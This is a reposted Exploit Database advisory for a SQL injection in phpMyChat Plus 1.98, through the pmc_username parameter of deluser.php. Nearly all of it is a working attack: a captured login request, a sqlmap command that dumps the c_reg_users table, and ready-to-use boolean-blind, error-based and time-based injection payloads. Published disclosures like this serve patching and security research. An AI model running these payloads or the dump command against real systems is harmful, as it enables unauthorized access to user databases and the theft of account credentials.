phpMyChat Plus 1.98 – ‘pmc_username’ SQL Injection

• Exploit Database
• 17 阅读

• 作者： J3rryBl4nks
  日期： 2020-02-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48066/

• # Title: phpMyChat Plus 1.98 - 'pmc_username' SQL Injection
  # Date: 2020-02-13
  # Exploit Author: J3rryBl4nks
  # Vendor Homepage: http://ciprianmp.com/latest/
  # Software Link: https://sourceforge.net/projects/phpmychat/files/phpMyChat_Plus/
  # Version MyChat Plus 1.98
  # Tested on Windows 10/Kali Rolling
  
  # The phpMyChat Plus 1.98 application is vulnerable to Sql Injection 
  # (Boolean based blind, Error-based, time-based blind) on the deluser.php page 
  # through the pmc_user parameter.
  
  # POC code:
  # Capture the request through Burpsuite:
  
  POST /plus/deluser.php HTTP/1.1
  Host: HOSTNAME
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://HOSTNAME/plus/deluser.php
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 77
  Connection: close
  Cookie: CookieLang=english; temp=temp; CookieUsername=testing; CookieRoom=Public%2BRoom%2B1; CookieRoomType=1; CookieStatus=r; PHPSESSID=0srffkdt9nu2jis443pp9nh3i9
  Upgrade-Insecure-Requests: 1
  
  L=english&Link=&LIMIT=0&pmc_username=test&pmc_password=test&login_form=Log+In
  
  
  # Then use sqlmap to get the user tables:
  
  sqlmap -r deleteuserlogin.req --level=5 --risk=3 --dbms=mysql --tamper=unmagicquotes -D DBNAME --dump -T c_reg_users -p pmc_username
  
  Parameter: pmc_username (POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
  Payload: L=english&Link=&LIMIT=0&pmc_username=test' AND 9736=(SELECT (CASE WHEN (9736=9736) THEN 9736 ELSE (SELECT 2847 UNION SELECT 9983) END))-- qEHq&pmc_password=test&login_form=Log In
  
  Type: error-based
  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: L=english&Link=&LIMIT=0&pmc_username=test' OR (SELECT 7708 FROM(SELECT COUNT(*),CONCAT(0x7170627a71,(SELECT (ELT(7708=7708,1))),0x7162627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ShDx&pmc_password=test&login_form=Log In
  
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: L=english&Link=&LIMIT=0&pmc_username=test' AND (SELECT 5588 FROM (SELECT(SLEEP(5)))wWnk)-- FHPh&pmc_password=test&login_form=Log In